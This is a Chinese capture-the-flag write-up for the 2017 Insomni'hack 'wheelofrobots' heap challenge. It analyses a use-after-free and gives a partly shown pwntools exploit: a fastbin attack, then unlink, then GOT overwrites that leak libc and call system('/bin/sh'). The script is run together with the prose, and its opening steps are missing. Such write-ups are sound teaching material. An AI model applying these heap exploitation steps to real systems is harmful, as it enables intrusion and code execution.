2017 insomni'hack wheelofrobots Writeup
0x00 前言
题目地址:wheelofrobots
程序保护:
0x01 程序分析
1.1 main
main程序如下图。进入程序后,先显示菜单,然后用户输入,根据选项调用相应的功能函数。
菜单函数如下图,该程序主要有四个功能:添加、删除、修改、输出。
选项读取函数如下,使用read()向a1处读入len长度,然后调用atoi将其转化为数字。
1.2 add
程序一共有6个机器人可供选择,用数字1,2,3,4,5,6来选择,根据用户选择执行相应的添加流程。总共添加的机器人轮子数不超过2,即最多添加3个机器人。
机器人1 Tinny的分配即case 1部分:判断是否使用-->申请大小为20块,将地址保存在tinny-->tinny_inuse置1-->往块中写入默认内容-->轮子数+1
机器人2 Bender的添加代码如下图。与1 tinny相比可以控制申请块的大小,并将大小变量保存在bender_size全局变量中。
机器人3 Devil与2一样,但可以分配更大的内存块。
机器人4 Chain与机器人5 Ire一样,只能申请固定大小块。
机器人6 Destructor也是与前面一样的操作。
1.3 remove
移除的操作每个机器人都一样,以机器人1为例。这里机器人移除后指针没有置NULL!
1.4 change
修改操作每个机器人都一样,只是可写入的块大小不同,以机器人1,2为例。
1.5 start_robot
此功能实际为打印,函数sub_400CA0(char *p)包含一个printf打印,可以将p指向的内容打印出来,这里p为各机器人块地址。但switch中的sub_4051BD()结果是随机的,且打印完后会执行exit(1)程序会直接退出。- int start_robot()
- {
- if ( (unsigned __int64)robot_wheel_cnt > 2 ) //要求轮子数为2
- {
- switch ( (unsigned int)sub_4015BD(6LL) ) //结果具有随机性
- {
- case 1u:
- if ( !bender_inuse )
- goto LABEL_6;
- sub_400CA0(tinny); // 打印tinny指针指向的内容
- break;
- case 2u:
- LABEL_6:
- if ( !bender_inuse )
- goto LABEL_8;
- sub_400B20((__int64)"Are you kidding me!!!");
- break;
- case 3u:
- LABEL_8:
- if ( !devil_inuse )
- goto LABEL_10;
- sub_400CA0(devil);
- break;
- case 4u:
- LABEL_10:
- if ( !chain_inuse )
- goto LABEL_12;
- sub_400CA0((char *)chain);
- break;
- case 5u:
- LABEL_12:
- if ( !ire_inuse )
- goto LABEL_14;
- sub_400CA0((char *)ire);
- break;
- case 6u:
- LABEL_14:
- if ( !destructor_inuse )
- goto LABEL_16;
- sub_400CA0((char *)destructor);
- break;
- default:
- LABEL_16:
- sub_400BE5(" AH AH AH Welcome in Robot Hell!! ");
- break;
- }
- exit(1); // 打印完后直接退出
- }
- return puts("Filling the wheel first!");
- }
复制代码 1.6 bss变量位置关系
可以看到依次存储的是:各机器人块地址-->用户选择-->各机器人使用状态-->轮子数-->各机器人块大小- .bss:00000000006030E0 chain dq ? ; DATA XREF: add+28F↑w
- .bss:00000000006030E0 ; add+296↑r ...
- .bss:00000000006030E8 ; void *destructor
- .bss:00000000006030E8 destructor dq ? ; DATA XREF: add+3A0↑w
- .bss:00000000006030E8 ; add+3BB↑r ...
- .bss:00000000006030F0 ; void *bender
- .bss:00000000006030F0 bender dq ? ; DATA XREF: add+162↑w
- .bss:00000000006030F0 ; add+17D↑r ...
- .bss:00000000006030F8 ; char *tinny
- .bss:00000000006030F8 tinny dq ? ; DATA XREF: add+A6↑w
- .bss:00000000006030F8 ; add+B7↑r ...
- .bss:0000000000603100 ; char *devil
- .bss:0000000000603100 devil dq ? ; DATA XREF: add+225↑w
- .bss:0000000000603100 ; add+240↑r ...
- .bss:0000000000603108 ; void *ire
- .bss:0000000000603108 ire dq ? ; DATA XREF: add+2F3↑w
- .bss:0000000000603108 ; add+2FA↑r ...
- .bss:0000000000603110 ; char *choice
- .bss:0000000000603110 choice db ? ; ; DATA XREF: add+3A↑o
- .bss:0000000000603110 ; add+49↑o ...
- .bss:0000000000603111 db ? ;
- .bss:0000000000603112 db ? ;
- .bss:0000000000603113 db ? ;
- .bss:0000000000603114 ; int bender_inuse
- .bss:0000000000603114 bender_inuse dd ? ; DATA XREF: add:loc_400EE0↑r
- .bss:0000000000603114 ; add+173↑w ...
- .bss:0000000000603118 ; int chain_inuse
- .bss:0000000000603118 chain_inuse dd ? ; DATA XREF: add:loc_40106A↑r
- .bss:0000000000603118 ; add+2B5↑w ...
- .bss:000000000060311C ; int destructor_inuse
- .bss:000000000060311C destructor_inuse dd ? ; DATA XREF: add:loc_401135↑r
- .bss:000000000060311C ; add+3B1↑w ...
- .bss:0000000000603120 ; int tinny_inuse
- .bss:0000000000603120 tinny_inuse dd ? ; DATA XREF: add:loc_400E81↑r
- .bss:0000000000603120 ; add+AD↑w ...
- .bss:0000000000603124 ; int devil_inuse
- .bss:0000000000603124 devil_inuse dd ? ; DATA XREF: add:loc_400FA3↑r
- .bss:0000000000603124 ; add+236↑w ...
- .bss:0000000000603128 ; int ire_inuse
- .bss:0000000000603128 ire_inuse dd ? ; DATA XREF: add:loc_4010CE↑r
- .bss:0000000000603128 ; add+31C↑w ...
- .bss:000000000060312C align 10h
- .bss:0000000000603130 ; __int64 robot_wheel_cnt
- .bss:0000000000603130 robot_wheel_cnt dq ? ; DATA XREF: add+56↑r
- .bss:0000000000603130 ; add+D1↑r ...
- .bss:0000000000603138 ; __int64 bender_size
- .bss:0000000000603138 bender_size dq ? ; DATA XREF: add+16C↑w
- .bss:0000000000603138 ; change+AC↑r
- .bss:0000000000603140 ; __int64 devil_size
- .bss:0000000000603140 devil_size dq ? ; DATA XREF: add+22F↑w
- .bss:0000000000603140 ; change+F5↑r
- .bss:0000000000603148 ; __int64 destructor_size
- .bss:0000000000603148 destructor_size dq ? ; DATA XREF: add+3AA↑w
- .bss:0000000000603148 ; change+19C↑r
复制代码 0x02 利用思路
从后向前介绍思路,最终要执行system("/bin/sh"),需要泄露某个函数地址,获得动态链接库加载基址。程序中start_robot功能中的输出可以被利用来泄露函数地址,但这里输出的内容为机器人指针指向的内容,所以我们应该想办法将机器人指针修改为某函数GOT地址,从而泄露该函数实际地址。
为了修改机器人(chunk)指针内容,可以使用unlink,这就需要构造fake_chunk并溢出数据覆盖下一个chunk的header。这里有3个块的大小由变量决定,若能篡改其中一个块的size,则可以达到上面的目的。
在前面的分析中发现,机器人指针free后没有置NULL,我们还可以继续往对应地址写入内容。我们可以利用fastbin机制漏洞,将chunk分配到0x603138处,进而可以向0x603148(destructor_size)处写值,控制destructor chunk大小,实现unlink。- 分配chunk到0x603138后
- 0x603138 pre_size //bender_size
- 0x603140 size //devil_size
- 0x603148 userdata //destructor_size
复制代码fastbin漏洞原理
fastbin链表使用的是单链表,设初始申请大小为0x20的chunk0,地址为chunk0_ptr,再释放,这时链表指向:fastbin[0]=>chunk0_ptr
若有个地址fake_ptr,我们可以控制fake_ptr+0x08处的值为0x21(与上面块大小相同),这时我们向chunk0写入fake_ptr(利用分配时得到的指针),这时chunk0的fd就会变成fake_ptr,链表指向:fastbin[0]=>chunk0_ptr=>fake_ptr
这时我们再分配大小为0x20的块,就会把chunk0重新分配出来,这时链表指向:fastbin[0]=>fake_ptr
然后我们再分配大小为0x20的块,就会得到一个地址为fake_ptr的chunk,进而可以往fake_ptr+0x10处写入数据。
P.S. 之所以要求fake_ptr+0x08处值为0x21是因为fastbin在分配时会进行检查块大小是否正确(同一个链里块大小相同)
为了实现将chunk分配到0x603138处,需要满足两个条件:
- 一个释放后依然可修改的chunk
- 0x603140位置可修改(即期望得到的chunk的size字段)为期望大小
第2个条件很容易满足,因为0x603140位置为devil_size位置,我们可以在申请devil机器人时设置它的大小,其大小约束(fd设为0x603138change(2, p64(0x603138))# 将bender_inuse还原为未使用,fastbin[0]==>bender_ptr==>0x603138ch_bender_inuse('\x00')#将bender_ptr重新分配出来,fastbin[0]==>0x603138add(2,1)#将0x603140(devil_size)设置为0x21,因fastbin分配时会验证大小add(3,0x21)#将0x603138地址开始的chunk分配给tinny(1)add(1)# 因最多分配3个,移除多余的remove(2)remove(3)# 分配两个chunk用来实现unlinkadd(6,3) #destructor,用于溢出,实际数据大小为0x40(3*20=60,再加上对齐)add(3,7) #devil# 向1块用户空间(0x603148--destructor_size)写入内容,即修改destructor_size为0x80change(1,p64(0x80))# 构造payload unlinktarget = 0x6030E8 #destructor指针地址fd = target - 0x18bk = target - 0x10# 构造fake_chunkpayload = p64(0) + p64(0x31) + p64(fd) + p64(bk) + b'a'*0x10 + p64(0x30) + b'a'*8# 修改devil chunk headerpayload += p64(0x40) + p64(0xa0)# 写入destructor并溢出change(6,payload)# unlink,使destructor[0]=&destructor-0x18remove(3)# 构造payload写入destructor即0x6030D0,使tinny指向destructor# 进而可以通过控制tinny修改destructor的指向,通过destructor修改其指向位置的内容,实现任意写payload = p64(0)*2 + b'a'*0x18 + p64(0x6030e8)change(6,payload)#.bss:00000000006030D0 stdin dq ? 0#.bss:00000000006030D8 byte_6030D8 db ? 0 #.bss:00000000006030E0 chain dq ? 'aaaaaaaa' #.bss:00000000006030E8 destructor dq ? 'aaaaaaaa'#.bss:00000000006030F0 bender dq ? 'aaaaaaaa'#.bss:00000000006030F8 tinny dq ? 0x006030E8#.bss:0000000000603100 devil dq ? libc = ELF('./libc-2.23.so')elf = ELF('./wheelofrobots')# patch exit为return指令,防止输出地址后exit(1)退出write(elf.got['exit'], 0x401954)puts_got = elf.got['puts']# .bss:0000000000603130 robot_wheel_cnt dq ? # 修改robot_wheel_cnt值为3,使start_robot()可以输出write(0x603130, 3)# 修改tinny指向(destructor)值为puts@got地址change(1,p64(elf.got['puts']))# 输出destructor指向(puts@got)的内容,即puts的实际地址start_robot()p.recvuntil('great!! Thx ')leak = p.recvuntil('!\n')[:-2]leak_puts = u64(leak.ljust(8,b'\x00'))log.success('leak puts addr: ' + hex(leak_puts))# 计算动态链接库加载基址,及system函数地址libc_base = leak_puts - libc.symbols['puts']sys_addr = libc_base + libc.symbols['system']binsh_addr = libc_base + next(libc.search(b'/bin/sh'))log.success('/bin/sh addr: ' + hex(binsh_addr))# 将free@got值改为system函数地址write(elf.got['free'], sys_addr)# 将destructor设为"/bin/sh"字符串地址change(1,p64(binsh_addr))# free(destructor)==>system("/bin/sh")remove(6)p.interactive()[/code]执行结果
0x04 参考链接
CTF-WIKI-Unlink
CTF-WIKI-Alloc to Stack
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |